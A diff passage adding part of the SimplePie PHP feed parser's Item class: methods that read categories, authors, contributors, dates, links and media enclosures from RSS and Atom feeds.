+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif (!$content_only)
+		{
+			return $this->get_description(true);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a category for the item
+	 *
+	 * @since Beta 3 (previously called `get_categories()` since Beta 2)
+	 * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Category|null
+	 */
+	public function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all categories for the item
+	 *
+	 * Uses `<atom:category>`, `<category>` or `<dc:subject>`
+	 *
+	 * @since Beta 3
+	 * @return array|null List of {@see SimplePie_Category} objects
+	 */
+	public function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
+		{
+			// This is really the label, but keep this as the term also for BC.
+			// Label will also work on retrieving because that falls back to term.
+			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			if (isset($category['attribs']['']['domain']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$scheme = null;
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, null));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($categories))
+		{
+			return array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get an author for the item
+	 *
+	 * @since Beta 2
+	 * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Author|null
+	 */
+	public function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a contributor for the item
+	 *
+	 * @since 1.1
+	 * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Author|null
+	 */
+	public function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all contributors for the item
+	 *
+	 * Uses `<atom:contributor>`
+	 *
+	 * @since 1.1
+	 * @return array|null List of {@see SimplePie_Author} objects
+	 */
+	public function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all authors for the item
+	 *
+	 * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
+	 *
+	 * @since Beta 2
+	 * @return array|null List of {@see SimplePie_Author} objects
+	 */
+	public function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'author'))
+		{
+			$authors[] = $this->registry->create('Author', array(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($authors))
+		{
+			return array_unique($authors);
+		}
+		elseif (($source = $this->get_source()) && ($authors = $source->get_authors()))
+		{
+			return $authors;
+		}
+		elseif ($authors = $this->feed->get_authors())
+		{
+			return $authors;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the copyright info for the item
+	 *
+	 * Uses `<atom:rights>` or `<dc:rights>`
+	 *
+	 * @since 1.1
+	 * @return string
+	 */
+	public function get_copyright()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the posting date/time for the item
+	 *
+	 * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`,
+	 * `<atom:modified>`, `<pubDate>` or `<dc:date>`
+	 *
+	 * Note: obeys PHP's timezone setting. To get a UTC date/time, use
+	 * {@see get_gmdate}
+	 *
+	 * @since Beta 2 (previously called `get_item_date` since 0.8)
+	 *
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
+	 * @return int|string|null
+	 */
+	public function get_date($date_format = 'j F Y, g:i a')
+	{
+		if (!isset($this->data['date']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'pubDate'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+
+			if (!empty($this->data['date']['raw']))
+			{
+				$parser = $this->registry->call('Parse_Date', 'get');
+				$this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']);
+			}
+			else
+			{
+				$this->data['date'] = null;
+			}
+		}
+		if ($this->data['date'])
+		{
+			$date_format = (string) $date_format;
+			switch ($date_format)
+			{
+				case '':
+					return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);
+
+				case 'U':
+					return $this->data['date']['parsed'];
+
+				default:
+					return date($date_format, $this->data['date']['parsed']);
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the update date/time for the item
+	 *
+	 * Uses `<atom:updated>`
+	 *
+	 * Note: obeys PHP's timezone setting. To get a UTC date/time, use
+	 * {@see get_gmdate}
+	 *
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data)
+	 * @return int|string|null
+	 */
+	public function get_updated_date($date_format = 'j F Y, g:i a')
+	{
+		if (!isset($this->data['updated']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
+			{
+				$this->data['updated']['raw'] = $return[0]['data'];
+			}
+
+			if (!empty($this->data['updated']['raw']))
+			{
+				$parser = $this->registry->call('Parse_Date', 'get');
+				$this->data['updated']['parsed'] = $parser->parse($this->data['date']['raw']);
+			}
+			else
+			{
+				$this->data['updated'] = null;
+			}
+		}
+		if ($this->data['updated'])
+		{
+			$date_format = (string) $date_format;
+			switch ($date_format)
+			{
+				case '':
+					return $this->sanitize($this->data['updated']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);
+
+				case 'U':
+					return $this->data['updated']['parsed'];
+
+				default:
+					return date($date_format, $this->data['updated']['parsed']);
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the localized posting date/time for the item
+	 *
+	 * Returns the date formatted in the localized language. To display in
+	 * languages other than the server's default, you need to change the locale
+	 * with {@link http://php.net/setlocale setlocale()}. The available
+	 * localizations depend on which ones are installed on your web server.
+	 *
+	 * @since 1.0
+	 *
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data)
+	 * @return int|string|null
+	 */
+	public function get_local_date($date_format = '%c')
+	{
+		if (!$date_format)
+		{
+			return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (($date = $this->get_date('U')) !== null && $date !== false)
+		{
+			return strftime($date_format, $date);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the posting date/time for the item (UTC time)
+	 *
+	 * @see get_date
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
+	 * @return int|string|null
+	 */
+	public function get_gmdate($date_format = 'j F Y, g:i a')
+	{
+		$date = $this->get_date('U');
+		if ($date === null)
+		{
+			return null;
+		}
+
+		return gmdate($date_format, $date);
+	}
+
+	/**
+	 * Get the update date/time for the item (UTC time)
+	 *
+	 * @see get_updated_date
+	 * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
+	 * @return int|string|null
+	 */
+	public function get_updated_gmdate($date_format = 'j F Y, g:i a')
+	{
+		$date = $this->get_updated_date('U');
+		if ($date === null)
+		{
+			return null;
+		}
+
+		return gmdate($date_format, $date);
+	}
+
+	/**
+	 * Get the permalink for the item
+	 *
+	 * Returns the first link available with a relationship of "alternate".
+	 * Identical to {@see get_link()} with key 0
+	 *
+	 * @see get_link
+	 * @since 0.8
+	 * @return string|null Permalink URL
+	 */
+	public function get_permalink()
+	{
+		$link = $this->get_link();
+		$enclosure = $this->get_enclosure(0);
+		if ($link !== null)
+		{
+			return $link;
+		}
+		elseif ($enclosure !== null)
+		{
+			return $enclosure->get_link();
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single link for the item
+	 *
+	 * @since Beta 3
+	 * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
+	 * @param string $rel The relationship of the link to return
+	 * @return string|null Link URL
+	 */
+	public function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if ($links[$key] !== null)
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all links for the item
+	 *
+	 * Uses `<atom:link>`, `<link>` or `<guid>`
+	 *
+	 * @since Beta 2
+	 * @param string $rel The relationship of links to return
+	 * @return array|null Links found for the item (strings)
+	 */
+	public function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']))
+				{
+					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+				}
+			}
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']))
+				{
+					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+				}
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid'))
+			{
+				if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true')
+				{
+					$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+				}
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get an enclosure from the item
+	 *
+	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
+	 *
+	 * @since Beta 2
+	 * @todo Add ability to prefer one type of content over another (in a media group).
+	 * @param int $key The enclosure that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Enclosure|null
+	 */
+	public function get_enclosure($key = 0, $prefer = null)
+	{
+		$enclosures = $this->get_enclosures();
+		if (isset($enclosures[$key]))
+		{
+			return $enclosures[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all available enclosures (podcasts, etc.)
+	 *
+	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
+	 *
+	 * At this point, we're pretty much assuming that all enclosures for an item
+	 * are the same content.  Anything else is too complicated to
+	 * properly support.
+	 *
+	 * @since Beta 2
+	 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
+	 * @todo If an element exists at a level, but it's value is empty, we should fall back to the value from the parent (if it exists).
+	 * @return array|null List of SimplePie_Enclosure items
+	 */
+	public function get_enclosures()
+	{
+		if (!isset($this->data['enclosures']))
+		{
+			$this->data['enclosures'] = array();
+
+			// Elements
+			$captions_parent = null;
+			$categories_parent = null;
+			$copyrights_parent = null;
+			$credits_parent = null;
+			$description_parent = null;
+			$duration_parent = null;
+			$hashes_parent = null;
+			$keywords_parent = null;
+			$player_parent = null;
+			$ratings_parent = null;
+			$restrictions_parent = null;
+			$thumbnails_parent = null;
+			$title_parent = null;
+
+			// Let's do the channel and item-level ones first, and just re-use them if we need to.
+			$parent = $this->get_feed();
+
+			// CAPTIONS
+			if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
+			{
+				foreach ($captions as $caption)
+				{
+					$caption_type = null;
+					$caption_lang = null;
+					$caption_startTime = null;
+					$caption_endTime = null;
+					$caption_text = null;
+					if (isset($caption['attribs']['']['type']))
+					{
+						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['lang']))
+					{
+						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['start']))
+					{
+						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['end']))
+					{
+						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['data']))
+					{
+						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+				}
+			}
+			elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
+			{
+				foreach ($captions as $caption)
+				{
+					$caption_type = null;
+					$caption_lang = null;
+					$caption_startTime = null;
+					$caption_endTime = null;
+					$caption_text = null;
+					if (isset($caption['attribs']['']['type']))
+					{
+						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['lang']))
+					{
+						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['start']))
+					{
+						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['end']))
+					{
+						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['data']))
+					{
+						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+				}
+			}
+			if (is_array($captions_parent))
+			{
+				$captions_parent = array_values(array_unique($captions_parent));
+			}
+
+			// CATEGORIES
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
+			{
+				$term = null;
+				$scheme = null;
+				$label = null;
+				if (isset($category['data']))
+				{
+					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($category['attribs']['']['scheme']))
+				{
+					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				else
+				{
+					$scheme = 'http://search.yahoo.com/mrss/category_schema';
+				}
+				if (isset($category['attribs']['']['label']))
+				{
+					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
+			}
+			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
+			{
+				$term = null;
+				$scheme = null;
+				$label = null;
+				if (isset($category['data']))
+				{
+					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($category['attribs']['']['scheme']))
+				{
+					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				else
+				{
+					$scheme = 'http://search.yahoo.com/mrss/category_schema';
+				}
+				if (isset($category['attribs']['']['label']))
+				{
+					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
+			}
+			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category)
+			{
+				$term = null;
+				$scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
+				$label = null;
+				if (isset($category['attribs']['']['text']))
+				{
+					$label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
+
+				if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category']))
+				{
+					foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory)
+					{
+						if (isset($subcategory['attribs']['']['text']))
+						{
+							$label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
+					}
+				}
+			}
+			if (is_array($categories_parent))
+			{
+				$categories_parent = array_values(array_unique($categories_parent));
+			}
+
+			// COPYRIGHT
+			if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
+			{
+				$copyright_url = null;
+				$copyright_label = null;
+				if (isset($copyright[0]['attribs']['']['url']))
+				{
+					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($copyright[0]['data']))
+				{
+					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+			}
+			elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
+			{
+				$copyright_url = null;
+				$copyright_label = null;
+				if (isset($copyright[0]['attribs']['']['url']))
+				{
+					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($copyright[0]['data']))
+				{
+					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+			}
+
+			// CREDITS
+			if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
+			{
+				foreach ($credits as $credit)
+				{
+					$credit_role = null;
+					$credit_scheme = null;
+					$credit_name = null;
+					if (isset($credit['attribs']['']['role']))
+					{
+						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($credit['attribs']['']['scheme']))
+					{
+						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$credit_scheme = 'urn:ebu';
+					}
+					if (isset($credit['data']))
+					{
+						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+				}
+			}
